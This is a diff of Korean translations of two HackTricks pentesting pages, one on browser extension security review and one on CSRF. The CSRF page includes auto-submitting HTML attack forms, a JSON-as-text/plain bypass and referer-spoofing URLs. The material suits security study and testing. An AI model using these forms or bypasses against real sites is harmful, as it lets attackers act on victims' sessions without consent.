## 메모리/코드/클립보드의 민감한 정보 ## 메모리/코드/클립보드의 민감한 정보
@ -598,13 +598,13 @@ In [**이 블로그 포스트**](https://spaceraccoon.dev/universal-code-executi
물론, **코드에 민감한 정보를 넣지 마십시오**, 왜냐하면 이는 **공개**될 것이기 때문입니다. 물론, **코드에 민감한 정보를 넣지 마십시오**, 왜냐하면 이는 **공개**될 것이기 때문입니다.
브라우저에서 메모리를 덤프하려면 **프로세스 메모리를 덤프**하거나 브라우저 확장의 **설정**으로 가서 **`Inspect pop-up`**을 클릭한 후 **`Memory`** 섹션에서 **`Take a snapshot`**을 클릭하고 **`CTRL+F`**를 사용하여 스냅샷 내에서 민감한 정보를 검색할 수 있습니다. 브라우저에서 메모리를 덤프하려면 **프로세스 메모리를 덤프**하거나 브라우저 확장의 **설정**으로 가서 **`Inspect pop-up`** -> **`Memory`** 섹션 -> **`Take a snapshot`**을 클릭하고 **`CTRL+F`**를 사용하여 스냅샷 내에서 민감한 정보를 검색할 수 있습니다.
게다가, 니모닉 키나 비밀번호와 같은 매우 민감한 정보는 **클립보드에 복사되는 것을 허용해서는 안 됩니다** (또는 최소한 몇 초 후에 클립보드에서 제거해야 합니다) 왜냐하면 그러면 클립보드를 모니터링하는 프로세스가 이를 얻을 수 있기 때문입니다. 게다가, 니모닉 키나 비밀번호와 같은 매우 민감한 정보는 **클립보드에 복사되는 것을 허용해서는 안 됩니다** (또는 최소한 몇 초 후에 클립보드에서 제거해야 합니다) 왜냐하면 그러면 클립보드를 모니터링하는 프로세스가 이를 얻을 수 있기 때문입니다.
## 브라우저에 확장 프로그램 로드하기 ## 브라우저에 확장 프로그램 로드하기
1. **브라우저 확장 프로그램을 다운로드**하고 압축을 풉니다. 1. 브라우저 확장 프로그램을 **다운로드**하고 압축을 풉니다.
2. **`chrome://extensions/`**로 가서 `개발자 모드`를 **활성화**합니다. 2. **`chrome://extensions/`**로 가서 `개발자 모드`를 **활성화**합니다.
3. **`Load unpacked`** 버튼을 클릭합니다. 3. **`Load unpacked`** 버튼을 클릭합니다.
@ -612,7 +612,7 @@ In [**이 블로그 포스트**](https://spaceraccoon.dev/universal-code-executi
## 스토어에서 소스 코드 가져오기 ## 스토어에서 소스 코드 가져오기
Chrome 확장의 소스 코드는 다양한 방법으로 얻을 수 있습니다. 아래는 각 옵션에 대한 자세한 설명과 지침입니다. Chrome 확장의 소스 코드는 다양한 방법을 통해 얻을 수 있습니다. 아래는 각 옵션에 대한 자세한 설명과 지침입니다.
### 명령줄을 통해 ZIP으로 확장 프로그램 다운로드 ### 명령줄을 통해 ZIP으로 확장 프로그램 다운로드
@ -637,7 +637,7 @@ unzip -d "$extension_id-source" "$extension_id.zip"
로컬에 설치된 Chrome 확장 프로그램도 검사할 수 있습니다. 방법은 다음과 같습니다: 로컬에 설치된 Chrome 확장 프로그램도 검사할 수 있습니다. 방법은 다음과 같습니다:
1. `chrome://version/`를 방문하여 "Profile Path" 필드를 찾니다. 1. `chrome://version/`를 방문하여 "Profile Path" 필드를 찾아 Chrome 로컬 프로필 디렉토리에 접근합니다.
2. 프로필 디렉토리 내의 `Extensions/` 하위 폴더로 이동합니다. 2. 프로필 디렉토리 내의 `Extensions/` 하위 폴더로 이동합니다.
3. 이 폴더에는 모든 설치된 확장 프로그램이 포함되어 있으며, 일반적으로 읽기 가능한 형식의 소스 코드가 있습니다. 3. 이 폴더에는 모든 설치된 확장 프로그램이 포함되어 있으며, 일반적으로 읽기 가능한 형식의 소스 코드가 있습니다.
@ -648,15 +648,15 @@ unzip -d "$extension_id-source" "$extension_id.zip"
### 파일 압축 해제기 또는 언팩커 사용 ### 파일 압축 해제기 또는 언팩커 사용
Chrome 웹 스토어 가서 확장 프로그램을 다운로드합니다. 파일은 `.crx` 확장자를 가집니다. 파일 확장자를 `.crx`에서 `.zip`으로 변경합니다. WinRAR, 7-Zip 등과 같은 파일 압축 해제기를 사용하여 ZIP 파일의 내용을 추출합니다. Chrome 웹 스토어 가서 확장 프로그램을 다운로드합니다. 파일은 `.crx` 확장자를 가집니다. 파일 확장자를 `.crx`에서 `.zip`으로 변경합니다. WinRAR, 7-Zip 등과 같은 파일 압축 해제기를 사용하여 ZIP 파일의 내용을 추출합니다.
### Chrome에서 개발자 모드 사용 ### Chrome에서 개발자 모드 사용
Chrome을 열고 `chrome://extensions/`로 이동합니다. 오른쪽 상단에서 "개발자 모드"를 활성화합니다. "압축 해제된 확장 프로그램 로드..."를 클릭합니다. 확장 프로그램의 디렉토리로 이동합니다. 이는 소스 코드를 다운로드하지 않지만, 이미 다운로드되었거나 개발된 확장 프로그램의 코드를 보기 및 수정하는 데 유용합니다. Chrome을 열고 `chrome://extensions/`로 이동합니다. 오른쪽 상단에서 "개발자 모드"를 활성화합니다. "압축 해제된 확장 프로그램 로드..."를 클릭합니다. 확장 프로그램의 디렉토리로 이동합니다. 이는 소스 코드를 다운로드하지 않지만, 이미 다운로드되었거나 개발된 확장 프로그램의 코드를 보 수정하는 데 유용합니다.
## Chrome 확장 프로그램 매니페스트 데이터셋 ## Chrome 확장 프로그램 매니페스트 데이터셋
취약한 브라우저 확장 프로그램을 찾기 위해 [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset)를 사용하고 매니페스트 파일에서 잠재적으로 취약한 징후를 확인할 수 있습니다. 예를 들어, 25000명 이상의 사용자가 있는 확장 프로그램, `content_scripts` 및 권한 `nativeMessaging`을 확인하려면: 취약한 브라우저 확장 프로그램을 찾기 위해 [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset)를 사용하고 매니페스트 파일에서 잠재적으로 취약한 징후를 확인할 수 있습니다. 예를 들어, 25000명 이상의 사용자가 있는 확장 프로그램, `content_scripts` 및 권한 `nativeMessaging`을 확인하려면:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -673,17 +673,17 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
* [ ] 가능한 한 **`host_permissions`**를 **제한**합니다. * [ ] 가능한 한 **`host_permissions`**를 **제한**합니다.
* [ ] **강력한** **`content_security_policy`**를 사용합니다. * [ ] **강력한** **`content_security_policy`**를 사용합니다.
* [ ] 필요하지 않다면 가능한 한 **`externally_connectable`**을 **제한**합니다. 기본값으로 두지 말고 **`{}`**로 지정합니다. * [ ] 필요하지 않다면 가능한 한 **`externally_connectable`**을 **제한**합니다. 기본값으로 두지 말고 **`{}`**로 지정합니다.
* [ ] 여기에서 **XSS 또는 takeover에 취약한 URL**이 언급되면, 공격자는 **백그라운드 스크립트에 직접 메시지를 보낼 수 있습니다**. 매우 강력한 우회입니다. * [ ] 여기에서 **XSS 또는 인수 취득에 취약한 URL**이 언급되면, 공격자는 **백그라운드 스크립트에 직접 메시지를 보낼 수 있습니다**. 매우 강력한 우회입니다.
* [ ] 가능한 한 **`web_accessible_resources`**를 **제한**합니다. 가능하다면 비워두세요. * [ ] 가능한 한 **`web_accessible_resources`**를 **제한**합니다. 가능하다면 비워두세요.
* [ ] **`web_accessible_resources`**가 없지 않다면, [**ClickJacking**](browext-clickjacking.md)을 확인합니다. * [ ] **`web_accessible_resources`**가 없지 않다면, [**ClickJacking**](browext-clickjacking.md)을 확인합니다.
* [ ] **확장 프로그램**에서 **웹 페이지**로 **통신**이 발생하면, 통신으로 인해 발생한 [**XSS**](browext-xss-example.md) **취약점**을 확인합니다. * [ ] **확장 프로그램**에서 **웹 페이지**로 **통신**이 발생하면, 통신으로 인해 발생한 [**XSS**](browext-xss-example.md) **취약점**을 확인합니다.
* [ ] Post Messages가 사용면, [**Post Message 취약점**](../postmessage-vulnerabilities/)**을 확인합니다.** * [ ] Post Messages가 사용된다면, [**Post Message 취약점**](../postmessage-vulnerabilities/)**을 확인합니다.**
* [ ] **Content Script가 DOM 세부정보에 접근**하, 웹에 의해 **수정**될 경우 **XSS를 도입하지 않는지** 확인합니다. * [ ] **Content Script가 DOM 세부정보에 접근**하는 경우, 웹에 의해 **수정**될 경우 **XSS를 도입하지 않는지** 확인합니다.
* [ ] 이 통신이 **Content Script -> Background script 통신**에 관련되어 있다면 특별히 강조합니다. * [ ] 이 통신이 **Content Script -> Background script 통신**에 관련되어 있다면 특별히 강조합니다.
* [ ] 백그라운드 스크립트가 **네이티브 메시징**을 통해 통신하는 경우, 통신이 안전하고 정제되었는지 확인합니다. * [ ] 백그라운드 스크립트가 **네이티브 메시징**을 통해 통신하는 경우, 통신이 안전하고 정제되었는지 확인합니다.
* [ ] **민감한 정보는** 브라우저 확장 프로그램 **코드** 내에 저장되지 않아야 합니다. * [ ] **민감한 정보는** 브라우저 확장 프로그램 **코드** 내에 저장되어서는 안 됩니다.
* [ ] **민감한 정보는** 브라우저 확장 프로그램 **메모리** 내에 저장되지 않아야 합니다. * [ ] **민감한 정보는** 브라우저 확장 프로그램 **메모리** 내에 저장되어서는 안 됩니다.
* [ ] **민감한 정보는** **파일 시스템에 보호되지 않은 상태로 저장되지 않아야 합니다.** * [ ] **민감한 정보는** **파일 시스템에 보호되지 않은 상태로 저장되어서는 안 됩니다.**
## 도구 ## 도구
@ -691,26 +691,26 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
* 제공된 Chrome 웹스토어 링크에서 Chrome 확장 프로그램을 가져옵니다. * 제공된 Chrome 웹스토어 링크에서 Chrome 확장 프로그램을 가져옵니다.
* [**manifest.json**](https://developer.chrome.com/extensions/manifest) **뷰어**: 확장 프로그램의 매니페스트를 JSON 형식으로 표시합니다. * [**manifest.json**](https://developer.chrome.com/extensions/manifest) **뷰어**: 확장 프로그램의 매니페스트를 JSON 형식으로 표시합니다.
* **지문 분석**: [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) 감지 및 Chrome 확장 프로그램 지문 생성을 자동으로 수행합니다. * **지문 분석**: [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) 감지 및 Chrome 확장 프로그램 지문 생성 JavaScript 자동 생성.
* **잠재적 Clickjacking 분석**: [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) 지시어가 설정된 확장 프로그램 HTML 페이지 감지. 페이지의 목적에 따라 Clickjacking에 취약할 수 있습니다. * **잠재적 Clickjacking 분석**: [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) 지시어가 설정된 확장 프로그램 HTML 페이지 감지. 페이지의 목적에 따라 Clickjacking에 취약할 수 있습니다.
* **권한 경고 뷰어**: 사용자가 확장 프로그램을 설치하려고 할 때 표시될 Chrome 권한 프롬프트 경고 목록을 보여줍니다. * **권한 경고 뷰어**: 사용자가 확장 프로그램을 설치하려고 할 때 표시될 Chrome 권한 프롬프트 경고 목록을 보여줍니다.
* **위험한 함수**: 공격자가 악용할 수 있는 위험한 함수의 위치를 보여줍니다 (예: innerHTML, chrome.tabs.executeScript와 같은 함수). * **위험한 함수**: 공격자가 악용할 수 있는 위험한 함수의 위치를 보여줍니다 (예: innerHTML, chrome.tabs.executeScript와 같은 함수).
* **진입점**: 확장 프로그램이 사용자/외부 입력을 받는 위치를 보여줍니다. 이는 확장 프로그램의 표면적을 이해하고 악의적으로 조작된 데이터를 확장 프로그램에 보낼 수 있는 잠재적 지점을 찾는 데 유용합니다. * **진입점**: 확장 프로그램이 사용자/외부 입력을 받는 위치를 보여줍니다. 이는 확장 프로그램의 표면적을 이해하고 악의적으로 조작된 데이터를 확장 프로그램에 보낼 수 있는 잠재적 지점을 찾는 데 유용합니다.
* 위험한 함수 및 진입점 스캐너는 생성된 경고에 대해 다음을 제공합니다: * 위험한 함수 및 진입점 스캐너는 생성된 경고에 대해 다음을 제공합니다:
* 경고를 유발한 관련 코드 스니펫 및 줄. * 경고를 유발한 관련 코드 스니펫 및 줄.
* 문제에 대한 설명. * 문제 설명.
* 코드를 포함하는 전체 소스 파일을 보기 위한 “파일 보기” 버튼. * 코드를 포함하는 전체 소스 파일을 보기 위한 “파일 보기” 버튼.
* 경고된 파일의 경로. * 경고된 파일의 경로.
* 경고된 파일의 전체 Chrome 확장 프로그램 URI. * 경고된 파일의 전체 Chrome 확장 URI.
* 파일 유형 (예: 백그라운드 페이지 스크립트, 콘텐츠 스크립트, 브라우저 액션 등). * 파일 유형 (예: 백그라운드 페이지 스크립트, 콘텐츠 스크립트, 브라우저 액션 등).
* 취약한 줄이 JavaScript 파일에 있는 경우, 포함된 모든 페이지의 경로와 이 페이지의 유형 및 [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) 상태. * 취약한 줄이 JavaScript 파일에 있는 경우, 포함된 모든 페이지의 경로와 이 페이지의 유형 및 [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) 상태.
* **Content Security Policy (CSP) 분석기 및 우회 검사기**: 확장 프로그램의 CSP의 약점을 지적하고 화이트리스트에 있는 CDN 등으로 인해 CSP를 우회할 수 있는 잠재적 방법을 밝혀냅니다. * **Content Security Policy (CSP) 분석기 및 우회 검사기**: 확장 프로그램의 CSP의 약점을 지적하고 화이트리스트에 있는 CDN 등으로 인해 CSP를 우회할 수 있는 잠재적 방법을 밝니다.
* **알려진 취약한 라이브러리**: [Retire.js](https://retirejs.github.io/retire.js/)를 사용하여 알려진 취약한 JavaScript 라이브러리의 사용 여부를 확인합니다. * **알려진 취약한 라이브러리**: [Retire.js](https://retirejs.github.io/retire.js/)를 사용하여 알려진 취약한 JavaScript 라이브러리의 사용 여부를 확인합니다.
* 확장 프로그램 및 포맷된 버전 다운로드. * 확장 프로그램 및 형식화된 버전 다운로드.
* 원본 확장 프로그램 다운로드. * 원본 확장 프로그램 다운로드.
* 확장 프로그램의 아름답게 포맷된 버전 다운로드 (자동으로 포맷된 HTML 및 JavaScript). * 확장 프로그램의 아름답게 정리된 버전 다운로드 (자동으로 정리된 HTML 및 JavaScript).
* 스캔 결과의 자동 캐싱, 확장 프로그램 스캔을 처음 실행할 때는 시간이 걸리지만, 두 번째 실행 시 확장 프로그램이 업데이트되지 않았다면 거의 즉시 결과가 캐시됩니다. * 스캔 결과의 자동 캐싱, 확장 프로그램 스캔을 처음 실행할 때는 상당한 시간이 소요됩니다. 그러나 두 번째 실행 시 확장 프로그램이 업데이트되지 않았다면 결과가 캐시되어 거의 즉시 실행됩니다.
* 링크 가능한 보고서 URL, tarnish에 의해 생성된 확장 프로그램 보고서에 다른 사람을 쉽게 링크할 수 있습니다. * 링크 가능한 보고서 URL, 다른 사람에게 tarnish에서 생성된 확장 프로그램 보고서에 쉽게 링크할 수 있습니다.
### [Neto](https://github.com/elevenpaths/neto) ### [Neto](https://github.com/elevenpaths/neto)
@ -718,7 +718,7 @@ Neto 프로젝트는 Firefox 및 Chrome과 같은 잘 알려진 브라우저의
## 참고 문헌 ## 참고 문헌
* **이 방법론에 도움을 준** [**@naivenom**](https://twitter.com/naivenom) **에게 감사드립니다.** * **이 방법론에 대한 도움을 주신** [**@naivenom**](https://twitter.com/naivenom) **에게 감사드립니다.**
* [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing) * [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
* [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/) * [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/)
* [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/) * [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/)
@ -730,16 +730,16 @@ Neto 프로젝트는 Firefox 및 Chrome과 같은 잘 알려진 브라우저의
* [https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0](https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0) * [https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0](https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0)
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\ AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>HackTricks 지원하기</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter**에서 **팔로우**하세요 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,8 +1,8 @@
# CSRF (크로스 사이트 요청 위조) # CSRF (크로스 사이트 요청 위조)
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -32,7 +32,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
## 크로스 사이트 요청 위조 (CSRF) 설명 ## 크로스 사이트 요청 위조 (CSRF) 설명
**크로스 사이트 요청 위조 (CSRF)**는 웹 애플리케이션에서 발견되는 보안 취약점의 일종입니다. 이는 공격자가 인증된 세션을 용하여 무심코 사용자를 대신해 행동을 수행할 수 있게 합니다. 공격은 피해자의 플랫폼에 로그인한 사용자가 악성 사이트를 방문할 때 실행됩니다. 이 사이트는 JavaScript 실행, 양식 제출 또는 이미지 가져오기와 같은 방법을 통해 피해자의 계정에 요청을 트리거합니다. **크로스 사이트 요청 위조 (CSRF)**는 웹 애플리케이션에서 발견되는 보안 취약점의 일종입니다. 이는 공격자가 인증된 세션을 용하여 무심코 사용자를 대신해 행동을 수행할 수 있게 합니다. 공격은 피해자의 플랫폼에 로그인한 사용자가 악성 사이트를 방문할 때 실행됩니다. 이 사이트는 JavaScript 실행, 양식 제출 또는 이미지 가져오기와 같은 방법을 통해 피해자의 계정에 요청을 트리거합니다.
### CSRF 공격을 위한 전제 조건 ### CSRF 공격을 위한 전제 조건
@ -46,7 +46,7 @@ CSRF 취약점을 악용하기 위해서는 여러 조건이 충족되어야 합
**Burp에서 요청을 캡처**하고 CSRF 보호를 확인할 수 있으며, 브라우저에서 **Copy as fetch**를 클릭하여 요청을 확인할 수 있습니다: **Burp에서 요청을 캡처**하고 CSRF 보호를 확인할 수 있으며, 브라우저에서 **Copy as fetch**를 클릭하여 요청을 확인할 수 있습니다:
<figure><img src="../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
### CSRF 방어 ### CSRF 방어
@ -59,7 +59,7 @@ CSRF 공격으로부터 보호하기 위해 여러 가지 대응책을 구현할
* `http://mal.net?orig=http://example.com` 사용 (URL이 신뢰할 수 있는 URL로 끝남) * `http://mal.net?orig=http://example.com` 사용 (URL이 신뢰할 수 있는 URL로 끝남)
* `http://example.com.mal.net` 사용 (URL이 신뢰할 수 있는 URL로 시작함) * `http://example.com.mal.net` 사용 (URL이 신뢰할 수 있는 URL로 시작함)
* **매개변수 이름 수정**: POST 또는 GET 요청의 매개변수 이름을 변경하면 자동화된 공격을 방지하는 데 도움이 될 수 있습니다. * **매개변수 이름 수정**: POST 또는 GET 요청의 매개변수 이름을 변경하면 자동화된 공격을 방지하는 데 도움이 될 수 있습니다.
* **CSRF 토큰**: 각 세션에 고유한 CSRF 토큰을 포함하고 이후 요청에서 이 토큰을 요구하면 CSRF 위험을 크게 줄일 수 있습니다. 토큰의 효과는 CORS를 강제함으로써 향상될 수 있습니다. * **CSRF 토큰**: 각 세션에 고유한 CSRF 토큰을 포함하고 이후 요청에서 이 토큰을 요구하면 CSRF 위험을 크게 줄일 수 있습니다. 토큰의 효과는 CORS를 강제함으로써 향상될 수 있습니다.
이러한 방어를 이해하고 구현하는 것은 웹 애플리케이션의 보안과 무결성을 유지하는 데 중요합니다. 이러한 방어를 이해하고 구현하는 것은 웹 애플리케이션의 보안과 무결성을 유지하는 데 중요합니다.
@ -71,7 +71,7 @@ CSRF 공격으로부터 보호하기 위해 여러 가지 대응책을 구현할
### 토큰 부족 ### 토큰 부족
애플리케이션은 **토큰이 존재할 때** 이를 **검증하는 메커니즘**을 구현할 수 있습니다. 그러나 토큰이 없을 때 검증이 완전히 생략되면 취약점이 발생합니다. 공격자는 **토큰을 담고 있는 매개변수를 제거**하여 이를 악용할 수 있습니다. 이렇게 하면 검증 프로세스를 우회하고 효과적으로 크로스 사이트 요청 위조 (CSRF) 공격을 수행할 수 있습니다. 애플리케이션은 **토큰이 존재할 때 검증하는 메커니즘**을 구현할 수 있습니다. 그러나 토큰이 없을 때 검증이 완전히 생략되면 취약점이 발생합니다. 공격자는 **토큰을 전달하는 매개변수를 제거**하여 이를 악용할 수 있으며, 이는 CSRF 공격을 효과적으로 수행할 수 있게 합니다.
### CSRF 토큰이 사용자 세션에 연결되지 않음 ### CSRF 토큰이 사용자 세션에 연결되지 않음
@ -83,7 +83,7 @@ CSRF 토큰이 **사용자 세션에 연결되지 않는 애플리케이션**은
2. **전역 풀에서 유효한 CSRF 토큰을 얻습니다.** 2. **전역 풀에서 유효한 CSRF 토큰을 얻습니다.**
3. **이 토큰을 사용하여** 피해자에 대한 CSRF 공격을 수행합니다. 3. **이 토큰을 사용하여** 피해자에 대한 CSRF 공격을 수행합니다.
이 취약점은 공격자가 피해자를 대신하여 무단 요청을 수행할 수 있게 하 애플리케이션의 **부적절한 토큰 검증 메커니즘**을 악용합니다. 이 취약점은 공격자가 피해자를 대신하여 무단 요청을 수행할 수 있게 하며, 애플리케이션의 **부적절한 토큰 검증 메커니즘**을 악용합니다.
### 메서드 우회 ### 메서드 우회
@ -100,13 +100,13 @@ CSRF 토큰이 **사용자 세션에 연결되지 않는 애플리케이션**은
요청이 **CSRF 보호 방법**으로 **토큰**이 포함된 **사용자 정의 헤더**를 추가하고 있다면: 요청이 **CSRF 보호 방법**으로 **토큰**이 포함된 **사용자 정의 헤더**를 추가하고 있다면:
* **사용자 정의 토큰과 헤더 없이 요청을 테스트**합니다. * **사용자 정의 토큰과 헤더 없이 요청을 테스트**합니다.
* **길이는 동일하지만 다른 토큰으로 요청을 테스트**합니다. * **정확한 길이지만 다른 토큰으로 요청을 테스트**합니다.
### CSRF 토큰이 쿠키로 검증됨 ### CSRF 토큰이 쿠키로 검증됨
애플리케이션은 CSRF 보호를 위해 토큰을 쿠키와 요청 매개변수 모두에 복제하거나 CSRF 쿠키를 설정하고 백엔드에서 전송된 토큰이 쿠키와 일치하는지 확인하여 구현할 수 있습니다. 애플리케이션은 요청 매개변수의 토큰이 쿠키의 값과 일치하는지 확인하여 요청을 검증합니다. 애플리케이션은 CSRF 보호를 위해 토큰을 쿠키와 요청 매개변수 모두에 복제하거나 CSRF 쿠키를 설정하고 백엔드에서 전송된 토큰이 쿠키와 일치하는지 검증할 수 있습니다. 애플리케이션은 요청 매개변수의 토큰이 쿠키의 값과 일치하는지 확인하여 요청을 검증합니다.
그러나 이 방법은 공격자가 피해자의 브라우저에 CSRF 쿠키를 설정할 수 있는 결함이 있는 경우 CSRF 공격에 취약합니다. 공격자는 쿠키를 설정하는 기만적인 이미지를 로드한 다음 CSRF 공격을 시작하여 이를 악용할 수 있습니다. 그러나 이 방법은 웹사이트에 공격자가 피해자의 브라우저에 CSRF 쿠키를 설정할 수 있는 결함이 있는 경우 CSRF 공격에 취약합니다. 공격자는 쿠키를 설정하는 기만적인 이미지를 로드한 다음 CSRF 공격을 시작하여 이를 악용할 수 있습니다.
아래는 공격이 어떻게 구성될 수 있는지에 대한 예입니다: 아래는 공격이 어떻게 구성될 수 있는지에 대한 예입니다:
```html ```html
@ -136,9 +136,9 @@ CSRF 토큰이 **사용자 세션에 연결되지 않는 애플리케이션**은
* **`multipart/form-data`** * **`multipart/form-data`**
* **`text/plain`** * **`text/plain`**
그러나 사용된 **Content-Type**에 따라 **서버의 로직이 다를 수 있으므로** 언급된 값과 **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._와 같은 다른 값도 시도해 보아야 합니다. 그러나 사용된 **Content-Type**에 따라 **서버의 로직이 다를 수 있으므로** 언급된 값과 **`application/json`**, **`text/xml`**, **`application/xml`**와 같은 다른 값도 시도해 보아야 합니다.
예시 ( [여기](https://brycec.me/posts/corctf\_2021\_challenges)에서) 텍스트/plain으로 JSON 데이터를 전송하는 방법: 예시 ( [여기](https://brycec.me/posts/corctf\_2021\_challenges)에서) 텍스트/플레인으로 JSON 데이터를 전송하는 방법:
```html ```html
<html> <html>
<body> <body>
@ -151,15 +151,15 @@ form.submit();
</body> </body>
</html> </html>
``` ```
### Bypassing Preflight Requests for JSON Data ### JSON 데이터에 대한 Preflight 요청 우회
POST 요청을 통해 JSON 데이터를 전송하려고 할 때, HTML 양식에서 `Content-Type: application/json`을 직접 사용할 수 없습니다. 마찬가지로, `XMLHttpRequest`를 사용하여 이 콘텐츠 유형을 전송하면 사전 비행 요청이 시작됩니다. 그럼에도 불구하고, 이 제한을 우회하고 서버가 Content-Type에 관계없이 JSON 데이터를 처리하는지 확인할 수 있는 전략이 있습니다: POST 요청을 통해 JSON 데이터를 전송하려고 할 때, HTML 양식에서 `Content-Type: application/json`을 직접 사용할 수 없습니다. 마찬가지로, `XMLHttpRequest`를 사용하여 이 콘텐츠 유형을 전송하면 preflight 요청이 시작됩니다. 그럼에도 불구하고, 이 제한을 우회하고 서버가 Content-Type에 관계없이 JSON 데이터를 처리하는지 확인할 수 있는 전략이 있습니다:
1. **대체 콘텐츠 유형 사용**: 양식에서 `enctype="text/plain"`을 설정하여 `Content-Type: text/plain` 또는 `Content-Type: application/x-www-form-urlencoded`를 사용합니다. 이 접근 방식은 백엔드가 Content-Type에 관계없이 데이터를 사용하는지 테스트합니다. 1. **대체 콘텐츠 유형 사용**: 양식에서 `enctype="text/plain"`을 설정하여 `Content-Type: text/plain` 또는 `Content-Type: application/x-www-form-urlencoded`를 사용합니다. 이 접근 방식은 백엔드가 Content-Type에 관계없이 데이터를 사용하는지 테스트합니다.
2. **콘텐츠 유형 수정**: 서버가 콘텐츠를 JSON으로 인식하도록 하면서 사전 비행 요청을 피하려면, `Content-Type: text/plain; application/json`으로 데이터를 전송할 수 있습니다. 이는 사전 비행 요청을 트리거하지 않지만, 서버가 `application/json`을 수용하도록 구성되어 있다면 올바르게 처리될 수 있습니다. 2. **콘텐츠 유형 수정**: 서버가 콘텐츠를 JSON으로 인식하도록 하면서 preflight 요청을 피하려면, `Content-Type: text/plain; application/json`으로 데이터를 전송할 수 있습니다. 이는 preflight 요청을 트리거하지 않지만, 서버가 `application/json`을 수용하도록 구성되어 있다면 올바르게 처리될 수 있습니다.
